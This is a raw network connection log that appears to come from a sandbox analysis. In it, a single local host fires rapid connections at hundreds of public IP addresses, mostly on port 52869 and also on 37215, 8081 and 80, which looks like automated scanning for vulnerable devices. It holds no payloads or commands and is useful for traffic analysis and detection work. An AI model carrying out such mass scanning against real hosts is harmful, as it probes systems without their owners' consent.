Jul 20, 2024 23:01:05.254872084 CEST	49909	52869	192.168.2.14	107.24.195.173
Jul 20, 2024 23:01:05.255614042 CEST	52869	36128	44.96.234.78	192.168.2.14
Jul 20, 2024 23:01:05.256082058 CEST	52869	49909	222.86.131.224	192.168.2.14
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	9.215.184.103
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	38.247.108.61
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	124.108.216.191
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	24.117.122.41
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	81.129.36.8
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	39.16.20.236
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	135.76.234.173
Jul 20, 2024 23:01:05.256695032 CEST	49909	52869	192.168.2.14	201.159.145.7
Jul 20, 2024 23:01:05.256966114 CEST	52869	49909	185.35.82.87	192.168.2.14
Jul 20, 2024 23:01:05.257052898 CEST	52869	49909	150.198.0.215	192.168.2.14
Jul 20, 2024 23:01:05.257081985 CEST	52869	49909	217.173.214.214	192.168.2.14
Jul 20, 2024 23:01:05.257110119 CEST	52869	49909	130.92.74.165	192.168.2.14
Jul 20, 2024 23:01:05.257138014 CEST	52869	49909	221.10.21.219	192.168.2.14
Jul 20, 2024 23:01:05.257628918 CEST	52869	49909	132.246.189.237	192.168.2.14
Jul 20, 2024 23:01:05.257657051 CEST	52869	49909	71.51.84.164	192.168.2.14
Jul 20, 2024 23:01:05.257690907 CEST	52869	49909	122.219.221.216	192.168.2.14
Jul 20, 2024 23:01:05.257728100 CEST	52869	49909	47.100.129.241	192.168.2.14
Jul 20, 2024 23:01:05.257756948 CEST	52869	49909	182.204.223.220	192.168.2.14
Jul 20, 2024 23:01:05.257785082 CEST	8081	55682	34.242.74.202	192.168.2.14
Jul 20, 2024 23:01:05.258322001 CEST	80	46340	88.145.169.141	192.168.2.14
Jul 20, 2024 23:01:05.258618116 CEST	52869	49909	24.230.38.202	192.168.2.14
Jul 20, 2024 23:01:05.258816004 CEST	52869	49909	82.74.233.231	192.168.2.14
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	145.155.209.50
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	116.47.255.58
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	199.47.176.74
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	201.85.216.179
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	129.39.62.254
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	190.195.78.184
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	105.115.73.143
Jul 20, 2024 23:01:05.259335041 CEST	49909	52869	192.168.2.14	87.93.212.14
Jul 20, 2024 23:01:05.260181904 CEST	52869	49909	147.178.187.202	192.168.2.14
Jul 20, 2024 23:01:05.260924101 CEST	52869	49909	141.35.51.88	192.168.2.14
Jul 20, 2024 23:01:05.261045933 CEST	52869	49909	159.145.255.132	192.168.2.14
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	199.54.41.98
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	117.188.61.52
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	60.166.134.47
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	179.191.1.94
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	177.37.128.14
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	94.56.139.174
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	82.182.213.54
Jul 20, 2024 23:01:05.261137962 CEST	49909	52869	192.168.2.14	64.1.107.82
Jul 20, 2024 23:01:05.262331009 CEST	49909	52869	192.168.2.14	208.202.42.106
Jul 20, 2024 23:01:05.262331009 CEST	49909	52869	192.168.2.14	114.16.17.140
Jul 20, 2024 23:01:05.262331009 CEST	49909	52869	192.168.2.14	121.245.239.148
Jul 20, 2024 23:01:05.262331009 CEST	49909	52869	192.168.2.14	86.210.54.8
Jul 20, 2024 23:01:05.262331009 CEST	49909	52869	192.168.2.14	27.103.173.103
Jul 20, 2024 23:01:05.262331963 CEST	49909	52869	192.168.2.14	186.214.9.172
Jul 20, 2024 23:01:05.262331963 CEST	49909	52869	192.168.2.14	53.1.207.242
Jul 20, 2024 23:01:05.262331963 CEST	49909	52869	192.168.2.14	186.161.5.21
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	8.147.220.100
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	221.212.45.160
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	41.222.223.79
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	68.163.135.8
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	213.190.102.254
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	116.185.233.83
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	193.178.115.241
Jul 20, 2024 23:01:05.262748957 CEST	49909	52869	192.168.2.14	104.215.148.197
Jul 20, 2024 23:01:05.265083075 CEST	52869	49909	190.131.44.221	192.168.2.14
Jul 20, 2024 23:01:05.265111923 CEST	52869	49909	139.252.193.220	192.168.2.14
Jul 20, 2024 23:01:05.265140057 CEST	52869	46346	141.25.137.192	192.168.2.14
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	222.242.93.36
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	134.162.31.242
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	68.152.218.131
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	210.216.14.240
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	194.28.135.210
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	97.35.117.1
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	174.246.235.173
Jul 20, 2024 23:01:05.265558004 CEST	49909	52869	192.168.2.14	81.144.134.42
Jul 20, 2024 23:01:05.265676022 CEST	52869	49909	34.7.111.142	192.168.2.14
Jul 20, 2024 23:01:05.265705109 CEST	52869	49909	212.156.7.166	192.168.2.14
Jul 20, 2024 23:01:05.265820026 CEST	49909	52869	192.168.2.14	211.169.227.191
Jul 20, 2024 23:01:05.265820026 CEST	49909	52869	192.168.2.14	174.131.89.51
Jul 20, 2024 23:01:05.265820026 CEST	49909	52869	192.168.2.14	205.129.198.70
Jul 20, 2024 23:01:05.265820026 CEST	49909	52869	192.168.2.14	100.244.44.11
Jul 20, 2024 23:01:05.265820026 CEST	49909	52869	192.168.2.14	189.156.171.203
Jul 20, 2024 23:01:05.265820026 CEST	49909	52869	192.168.2.14	13.161.201.111
Jul 20, 2024 23:01:05.265820026 CEST	49909	52869	192.168.2.14	107.62.187.111
Jul 20, 2024 23:01:05.266081095 CEST	49909	52869	192.168.2.14	223.39.132.84
Jul 20, 2024 23:01:05.266081095 CEST	49909	52869	192.168.2.14	12.139.83.131
Jul 20, 2024 23:01:05.266081095 CEST	49909	52869	192.168.2.14	142.15.133.38
Jul 20, 2024 23:01:05.266081095 CEST	49909	52869	192.168.2.14	129.104.58.73
Jul 20, 2024 23:01:05.266081095 CEST	49909	52869	192.168.2.14	95.83.148.231
Jul 20, 2024 23:01:05.266081095 CEST	49909	52869	192.168.2.14	171.168.115.86
Jul 20, 2024 23:01:05.266081095 CEST	49909	52869	192.168.2.14	172.163.166.48
Jul 20, 2024 23:01:05.266082048 CEST	49909	52869	192.168.2.14	157.162.200.98
Jul 20, 2024 23:01:05.266091108 CEST	37215	41780	157.232.183.8	192.168.2.14
Jul 20, 2024 23:01:05.266875029 CEST	52869	49909	207.53.125.175	192.168.2.14
Jul 20, 2024 23:01:05.266904116 CEST	52869	34388	34.37.107.29	192.168.2.14
Jul 20, 2024 23:01:05.268090963 CEST	52869	49909	72.106.64.142	192.168.2.14
Jul 20, 2024 23:01:05.268570900 CEST	52869	49909	125.117.237.225	192.168.2.14
Jul 20, 2024 23:01:05.268599987 CEST	52869	49909	8.147.220.100	192.168.2.14
Jul 20, 2024 23:01:05.268629074 CEST	52869	49909	132.158.137.174	192.168.2.14
Jul 20, 2024 23:01:05.269380093 CEST	49909	52869	192.168.2.14	186.83.143.183
Jul 20, 2024 23:01:05.269380093 CEST	49909	52869	192.168.2.14	99.128.62.25
Jul 20, 2024 23:01:05.269380093 CEST	49909	52869	192.168.2.14	32.7.62.146
Jul 20, 2024 23:01:05.269380093 CEST	49909	52869	192.168.2.14	31.215.144.232
Jul 20, 2024 23:01:05.269380093 CEST	49909	52869	192.168.2.14	147.154.192.124
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	91.7.78.31
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	184.17.245.90
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	23.78.7.26
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	101.148.187.65
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	128.41.155.211
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	189.219.67.157
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	99.110.208.119
Jul 20, 2024 23:01:05.270278931 CEST	49909	52869	192.168.2.14	70.113.86.124
Jul 20, 2024 23:01:05.270617008 CEST	52869	49909	221.212.45.160	192.168.2.14
Jul 20, 2024 23:01:05.270678997 CEST	52869	49909	145.183.202.158	192.168.2.14
Jul 20, 2024 23:01:05.270768881 CEST	52869	49909	41.222.223.79	192.168.2.14
Jul 20, 2024 23:01:05.271677971 CEST	49909	52869	192.168.2.14	13.66.137.245
Jul 20, 2024 23:01:05.271677971 CEST	49909	52869	192.168.2.14	142.249.95.177
Jul 20, 2024 23:01:05.271677971 CEST	49909	52869	192.168.2.14	183.230.64.46
Jul 20, 2024 23:01:05.271677971 CEST	49909	52869	192.168.2.14	141.235.54.197
Jul 20, 2024 23:01:05.271677971 CEST	49909	52869	192.168.2.14	48.189.185.5
Jul 20, 2024 23:01:05.271677971 CEST	49909	52869	192.168.2.14	189.192.238.248
Jul 20, 2024 23:01:05.271677971 CEST	49909	52869	192.168.2.14	182.194.169.54
Jul 20, 2024 23:01:05.271850109 CEST	49909	52869	192.168.2.14	155.163.78.165
Jul 20, 2024 23:01:05.271850109 CEST	49909	52869	192.168.2.14	113.60.179.253
Jul 20, 2024 23:01:05.271850109 CEST	49909	52869	192.168.2.14	212.161.231.29
Jul 20, 2024 23:01:05.271850109 CEST	49909	52869	192.168.2.14	191.100.158.34
Jul 20, 2024 23:01:05.271850109 CEST	49909	52869	192.168.2.14	54.131.96.84
Jul 20, 2024 23:01:05.271850109 CEST	49909	52869	192.168.2.14	17.199.127.167
Jul 20, 2024 23:01:05.271850109 CEST	49909	52869	192.168.2.14	34.54.151.38
Jul 20, 2024 23:01:05.272257090 CEST	52869	49909	68.163.135.8	192.168.2.14
Jul 20, 2024 23:01:05.272716045 CEST	49909	52869	192.168.2.14	158.159.141.130
Jul 20, 2024 23:01:05.272716045 CEST	49909	52869	192.168.2.14	145.8.151.25
Jul 20, 2024 23:01:05.272716045 CEST	49909	52869	192.168.2.14	52.81.17.176
Jul 20, 2024 23:01:05.272716045 CEST	49909	52869	192.168.2.14	198.36.202.185
Jul 20, 2024 23:01:05.273690939 CEST	49909	52869	192.168.2.14	57.84.67.141
Jul 20, 2024 23:01:05.273690939 CEST	49909	52869	192.168.2.14	38.72.255.46
Jul 20, 2024 23:01:05.273690939 CEST	49909	52869	192.168.2.14	87.230.145.130
Jul 20, 2024 23:01:05.273691893 CEST	49909	52869	192.168.2.14	159.73.209.162
Jul 20, 2024 23:01:05.273691893 CEST	49909	52869	192.168.2.14	198.228.212.189
Jul 20, 2024 23:01:05.273691893 CEST	49909	52869	192.168.2.14	138.147.0.236
Jul 20, 2024 23:01:05.273691893 CEST	55864	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:05.274327993 CEST	49909	52869	192.168.2.14	212.170.88.73
Jul 20, 2024 23:01:05.274327993 CEST	49909	52869	192.168.2.14	219.119.9.132
Jul 20, 2024 23:01:05.274327993 CEST	49909	52869	192.168.2.14	83.99.28.26
Jul 20, 2024 23:01:05.274327993 CEST	49909	52869	192.168.2.14	170.25.213.249
Jul 20, 2024 23:01:05.274327993 CEST	49909	52869	192.168.2.14	79.189.211.120
Jul 20, 2024 23:01:05.274327993 CEST	49909	52869	192.168.2.14	109.200.150.125
Jul 20, 2024 23:01:05.275002003 CEST	52869	49909	213.190.102.254	192.168.2.14
Jul 20, 2024 23:01:05.275108099 CEST	52869	49909	116.185.233.83	192.168.2.14
Jul 20, 2024 23:01:05.275621891 CEST	52869	49909	84.186.250.185	192.168.2.14
Jul 20, 2024 23:01:05.276794910 CEST	52869	49909	193.178.115.241	192.168.2.14
Jul 20, 2024 23:01:05.277482986 CEST	49909	52869	192.168.2.14	175.106.151.25
Jul 20, 2024 23:01:05.277482986 CEST	49909	52869	192.168.2.14	19.99.153.66
Jul 20, 2024 23:01:05.277482986 CEST	49909	52869	192.168.2.14	184.103.185.235
Jul 20, 2024 23:01:05.277482986 CEST	49909	52869	192.168.2.14	139.4.226.119
Jul 20, 2024 23:01:05.277483940 CEST	49909	52869	192.168.2.14	90.235.136.206
Jul 20, 2024 23:01:05.277483940 CEST	49909	52869	192.168.2.14	62.244.82.202
Jul 20, 2024 23:01:05.277483940 CEST	49909	52869	192.168.2.14	119.32.183.110
Jul 20, 2024 23:01:05.277483940 CEST	49909	52869	192.168.2.14	216.182.65.204
Jul 20, 2024 23:01:05.277782917 CEST	52869	49909	44.25.16.192	192.168.2.14
Jul 20, 2024 23:01:05.277868986 CEST	41900	37215	192.168.2.14	157.89.201.91
Jul 20, 2024 23:01:05.277868986 CEST	51304	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:05.278088093 CEST	52869	49909	128.30.26.97	192.168.2.14
Jul 20, 2024 23:01:05.278842926 CEST	49909	52869	192.168.2.14	164.125.22.226
Jul 20, 2024 23:01:05.278842926 CEST	49909	52869	192.168.2.14	120.172.18.74
Jul 20, 2024 23:01:05.278842926 CEST	32892	80	192.168.2.14	88.229.43.244
Jul 20, 2024 23:01:05.278842926 CEST	59014	8081	192.168.2.14	58.102.190.118
Jul 20, 2024 23:01:05.278842926 CEST	49909	52869	192.168.2.14	126.3.10.117
Jul 20, 2024 23:01:05.278842926 CEST	49909	52869	192.168.2.14	204.104.66.147
Jul 20, 2024 23:01:05.278842926 CEST	49909	52869	192.168.2.14	92.26.65.4
Jul 20, 2024 23:01:05.278842926 CEST	49909	52869	192.168.2.14	63.124.169.164
Jul 20, 2024 23:01:05.278922081 CEST	52869	49909	104.215.148.197	192.168.2.14
Jul 20, 2024 23:01:05.279376030 CEST	57198	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:05.279376030 CEST	34592	37215	192.168.2.14	197.91.36.141
Jul 20, 2024 23:01:05.279376030 CEST	36550	52869	192.168.2.14	73.117.253.69
Jul 20, 2024 23:01:05.279376030 CEST	38232	8081	192.168.2.14	187.16.144.121
Jul 20, 2024 23:01:05.279376030 CEST	49909	52869	192.168.2.14	75.65.150.175
Jul 20, 2024 23:01:05.279376030 CEST	49909	52869	192.168.2.14	126.220.188.31
Jul 20, 2024 23:01:05.279376030 CEST	49909	52869	192.168.2.14	191.94.63.147
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	17.127.75.160
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	184.177.53.149
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	180.137.187.65
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	172.95.92.119
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	37.0.70.219
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	8.112.72.58
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	190.93.202.150
Jul 20, 2024 23:01:05.279737949 CEST	49909	52869	192.168.2.14	71.108.66.198
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	196.179.167.169
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	72.168.186.135
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	222.193.249.127
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	14.191.58.78
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	102.225.181.84
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	51.48.72.164
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	163.21.17.25
Jul 20, 2024 23:01:05.279853106 CEST	49909	52869	192.168.2.14	148.226.164.83
Jul 20, 2024 23:01:05.280131102 CEST	52869	49909	57.84.67.141	192.168.2.14
Jul 20, 2024 23:01:05.280463934 CEST	52869	49909	38.72.255.46	192.168.2.14
Jul 20, 2024 23:01:05.280575991 CEST	52869	49909	158.159.141.130	192.168.2.14
Jul 20, 2024 23:01:05.281028032 CEST	52869	49909	87.230.145.130	192.168.2.14
Jul 20, 2024 23:01:05.282094955 CEST	52869	49909	159.73.209.162	192.168.2.14
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	220.164.110.239
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	198.198.118.53
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	155.191.209.175
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	138.16.190.170
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	53.83.139.63
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	136.158.68.150
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	119.7.110.116
Jul 20, 2024 23:01:05.282414913 CEST	49909	52869	192.168.2.14	49.201.102.76
Jul 20, 2024 23:01:05.282530069 CEST	52869	49909	145.8.151.25	192.168.2.14
Jul 20, 2024 23:01:05.282741070 CEST	52869	49909	198.228.212.189	192.168.2.14
Jul 20, 2024 23:01:05.283097982 CEST	52869	49909	138.147.0.236	192.168.2.14
Jul 20, 2024 23:01:05.283224106 CEST	80	55864	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	180.76.221.54
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	85.133.84.127
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	107.224.8.125
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	81.113.141.221
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	39.210.25.195
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	120.112.3.216
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	146.232.115.219
Jul 20, 2024 23:01:05.283909082 CEST	49909	52869	192.168.2.14	57.209.144.62
Jul 20, 2024 23:01:05.284068108 CEST	49909	52869	192.168.2.14	98.204.17.99
Jul 20, 2024 23:01:05.284068108 CEST	49909	52869	192.168.2.14	118.58.123.2
Jul 20, 2024 23:01:05.284068108 CEST	49909	52869	192.168.2.14	44.146.235.89
Jul 20, 2024 23:01:05.284068108 CEST	49909	52869	192.168.2.14	144.122.239.59
Jul 20, 2024 23:01:05.284069061 CEST	49909	52869	192.168.2.14	139.238.234.35
Jul 20, 2024 23:01:05.284069061 CEST	49909	52869	192.168.2.14	116.136.77.215
Jul 20, 2024 23:01:05.284069061 CEST	49909	52869	192.168.2.14	35.20.252.199
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	93.189.109.212
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	86.140.207.194
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	125.249.81.248
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	83.204.112.142
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	124.119.110.201
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	106.196.183.139
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	9.82.192.191
Jul 20, 2024 23:01:05.284601927 CEST	49909	52869	192.168.2.14	49.117.15.17
Jul 20, 2024 23:01:05.285470963 CEST	49909	52869	192.168.2.14	170.159.65.191
Jul 20, 2024 23:01:05.286114931 CEST	37215	41900	157.89.201.91	192.168.2.14
Jul 20, 2024 23:01:05.286340952 CEST	80	51304	88.133.23.36	192.168.2.14
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	24.1.25.55
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	60.70.3.55
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	101.29.13.188
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	70.5.143.213
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	191.253.38.192
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	121.14.158.6
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	220.251.218.119
Jul 20, 2024 23:01:05.286998034 CEST	49909	52869	192.168.2.14	122.4.124.127
Jul 20, 2024 23:01:05.287030935 CEST	80	57198	88.155.104.179	192.168.2.14
Jul 20, 2024 23:01:05.287060022 CEST	80	32892	88.229.43.244	192.168.2.14
Jul 20, 2024 23:01:05.287158966 CEST	49909	52869	192.168.2.14	195.17.211.43
Jul 20, 2024 23:01:05.287158966 CEST	49909	52869	192.168.2.14	102.200.150.83
Jul 20, 2024 23:01:05.287158966 CEST	49909	52869	192.168.2.14	202.48.116.134
Jul 20, 2024 23:01:05.287158966 CEST	49909	52869	192.168.2.14	74.211.33.136
Jul 20, 2024 23:01:05.287159920 CEST	49909	52869	192.168.2.14	44.81.4.153
Jul 20, 2024 23:01:05.287159920 CEST	49909	52869	192.168.2.14	205.155.99.176
Jul 20, 2024 23:01:05.287159920 CEST	49909	52869	192.168.2.14	109.106.157.89
Jul 20, 2024 23:01:05.287159920 CEST	49909	52869	192.168.2.14	70.56.126.65
Jul 20, 2024 23:01:05.287341118 CEST	8081	59014	58.102.190.118	192.168.2.14
Jul 20, 2024 23:01:05.287847996 CEST	37215	34592	197.91.36.141	192.168.2.14
Jul 20, 2024 23:01:05.288237095 CEST	49909	52869	192.168.2.14	154.125.143.97
Jul 20, 2024 23:01:05.288237095 CEST	49909	52869	192.168.2.14	89.63.235.199
Jul 20, 2024 23:01:05.288522005 CEST	52869	36550	73.117.253.69	192.168.2.14
Jul 20, 2024 23:01:05.290241957 CEST	8081	38232	187.16.144.121	192.168.2.14
Jul 20, 2024 23:01:05.290255070 CEST	49909	52869	192.168.2.14	150.154.95.243
Jul 20, 2024 23:01:05.290255070 CEST	49909	52869	192.168.2.14	106.235.106.45
Jul 20, 2024 23:01:05.290255070 CEST	49909	52869	192.168.2.14	133.136.117.24
Jul 20, 2024 23:01:05.290255070 CEST	49909	52869	192.168.2.14	211.94.53.51
Jul 20, 2024 23:01:05.290255070 CEST	49909	52869	192.168.2.14	220.254.255.149
Jul 20, 2024 23:01:05.290255070 CEST	49909	52869	192.168.2.14	180.167.117.211
Jul 20, 2024 23:01:05.290255070 CEST	49909	52869	192.168.2.14	31.141.176.161
Jul 20, 2024 23:01:05.290525913 CEST	49909	52869	192.168.2.14	117.149.29.28
Jul 20, 2024 23:01:05.291284084 CEST	49909	52869	192.168.2.14	105.17.199.80
Jul 20, 2024 23:01:05.291284084 CEST	49909	52869	192.168.2.14	141.61.184.214
Jul 20, 2024 23:01:05.291284084 CEST	49909	52869	192.168.2.14	98.85.187.52
Jul 20, 2024 23:01:05.291284084 CEST	49909	52869	192.168.2.14	92.86.214.31
Jul 20, 2024 23:01:05.291284084 CEST	49909	52869	192.168.2.14	198.86.214.44
Jul 20, 2024 23:01:05.291284084 CEST	49909	52869	192.168.2.14	119.130.41.69
Jul 20, 2024 23:01:05.291285038 CEST	49909	52869	192.168.2.14	27.244.252.93
Jul 20, 2024 23:01:05.291285038 CEST	49909	52869	192.168.2.14	184.159.135.176
Jul 20, 2024 23:01:05.291656971 CEST	57212	37215	192.168.2.14	128.197.81.243
Jul 20, 2024 23:01:05.292588949 CEST	49909	52869	192.168.2.14	173.17.141.67
Jul 20, 2024 23:01:05.292588949 CEST	49909	52869	192.168.2.14	113.228.170.209
Jul 20, 2024 23:01:05.292588949 CEST	34388	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:05.292588949 CEST	49909	52869	192.168.2.14	104.231.199.53
Jul 20, 2024 23:01:05.292588949 CEST	49909	52869	192.168.2.14	198.46.115.235
Jul 20, 2024 23:01:05.292588949 CEST	49909	52869	192.168.2.14	183.200.69.106
Jul 20, 2024 23:01:05.292588949 CEST	49909	52869	192.168.2.14	93.166.241.91
Jul 20, 2024 23:01:05.292588949 CEST	49909	52869	192.168.2.14	32.218.164.20
Jul 20, 2024 23:01:05.293067932 CEST	49909	52869	192.168.2.14	186.113.198.109
Jul 20, 2024 23:01:05.293067932 CEST	49909	52869	192.168.2.14	44.77.93.151
Jul 20, 2024 23:01:05.293067932 CEST	49909	52869	192.168.2.14	112.31.158.52
Jul 20, 2024 23:01:05.293493986 CEST	49909	52869	192.168.2.14	82.243.184.96
Jul 20, 2024 23:01:05.293493986 CEST	49909	52869	192.168.2.14	89.74.2.16
Jul 20, 2024 23:01:05.293493986 CEST	49909	52869	192.168.2.14	136.250.155.100
Jul 20, 2024 23:01:05.293493986 CEST	49909	52869	192.168.2.14	89.0.143.198
Jul 20, 2024 23:01:05.293493986 CEST	49909	52869	192.168.2.14	64.159.124.254
Jul 20, 2024 23:01:05.294630051 CEST	49909	52869	192.168.2.14	223.237.118.129
Jul 20, 2024 23:01:05.294630051 CEST	49909	52869	192.168.2.14	68.6.179.57
Jul 20, 2024 23:01:05.294630051 CEST	49909	52869	192.168.2.14	111.245.198.132
Jul 20, 2024 23:01:05.294630051 CEST	49909	52869	192.168.2.14	58.42.193.37
Jul 20, 2024 23:01:05.294630051 CEST	49909	52869	192.168.2.14	4.53.251.40
Jul 20, 2024 23:01:05.294630051 CEST	49909	52869	192.168.2.14	184.209.57.164
Jul 20, 2024 23:01:05.294631004 CEST	49909	52869	192.168.2.14	212.223.19.244
Jul 20, 2024 23:01:05.295164108 CEST	49909	52869	192.168.2.14	69.119.204.57
Jul 20, 2024 23:01:05.295164108 CEST	49909	52869	192.168.2.14	193.224.130.179
Jul 20, 2024 23:01:05.295164108 CEST	49909	52869	192.168.2.14	24.166.235.141
Jul 20, 2024 23:01:05.295164108 CEST	49909	52869	192.168.2.14	65.53.9.124
Jul 20, 2024 23:01:05.295164108 CEST	49909	52869	192.168.2.14	208.61.247.209
Jul 20, 2024 23:01:05.295164108 CEST	49909	52869	192.168.2.14	25.46.102.200
Jul 20, 2024 23:01:05.295164108 CEST	49909	52869	192.168.2.14	129.65.96.244
Jul 20, 2024 23:01:05.295876980 CEST	49909	52869	192.168.2.14	175.198.253.27
Jul 20, 2024 23:01:05.295876980 CEST	49909	52869	192.168.2.14	222.94.225.183
Jul 20, 2024 23:01:05.296796083 CEST	49909	52869	192.168.2.14	69.41.205.184
Jul 20, 2024 23:01:05.296796083 CEST	49909	52869	192.168.2.14	76.218.15.212
Jul 20, 2024 23:01:05.296796083 CEST	49909	52869	192.168.2.14	183.109.115.10
Jul 20, 2024 23:01:05.296796083 CEST	49909	52869	192.168.2.14	67.253.242.32
Jul 20, 2024 23:01:05.296796083 CEST	51724	52869	192.168.2.14	79.199.66.178
Jul 20, 2024 23:01:05.296796083 CEST	49909	52869	192.168.2.14	190.113.69.166
Jul 20, 2024 23:01:05.296796083 CEST	49909	52869	192.168.2.14	196.110.17.48
Jul 20, 2024 23:01:05.296796083 CEST	49909	52869	192.168.2.14	27.207.202.189
Jul 20, 2024 23:01:05.297058105 CEST	37215	57212	128.197.81.243	192.168.2.14
Jul 20, 2024 23:01:05.297903061 CEST	49909	52869	192.168.2.14	85.177.251.130
Jul 20, 2024 23:01:05.297903061 CEST	49909	52869	192.168.2.14	143.56.46.100
Jul 20, 2024 23:01:05.297903061 CEST	49909	52869	192.168.2.14	192.102.168.2
Jul 20, 2024 23:01:05.297903061 CEST	49909	52869	192.168.2.14	199.41.243.214
Jul 20, 2024 23:01:05.297903061 CEST	49909	52869	192.168.2.14	40.23.91.134
Jul 20, 2024 23:01:05.298336029 CEST	49909	52869	192.168.2.14	74.53.10.45
Jul 20, 2024 23:01:05.298336029 CEST	49909	52869	192.168.2.14	141.239.135.111
Jul 20, 2024 23:01:05.298336029 CEST	49909	52869	192.168.2.14	198.227.19.209
Jul 20, 2024 23:01:05.298336029 CEST	49909	52869	192.168.2.14	130.233.166.84
Jul 20, 2024 23:01:05.298336029 CEST	49909	52869	192.168.2.14	195.27.121.109
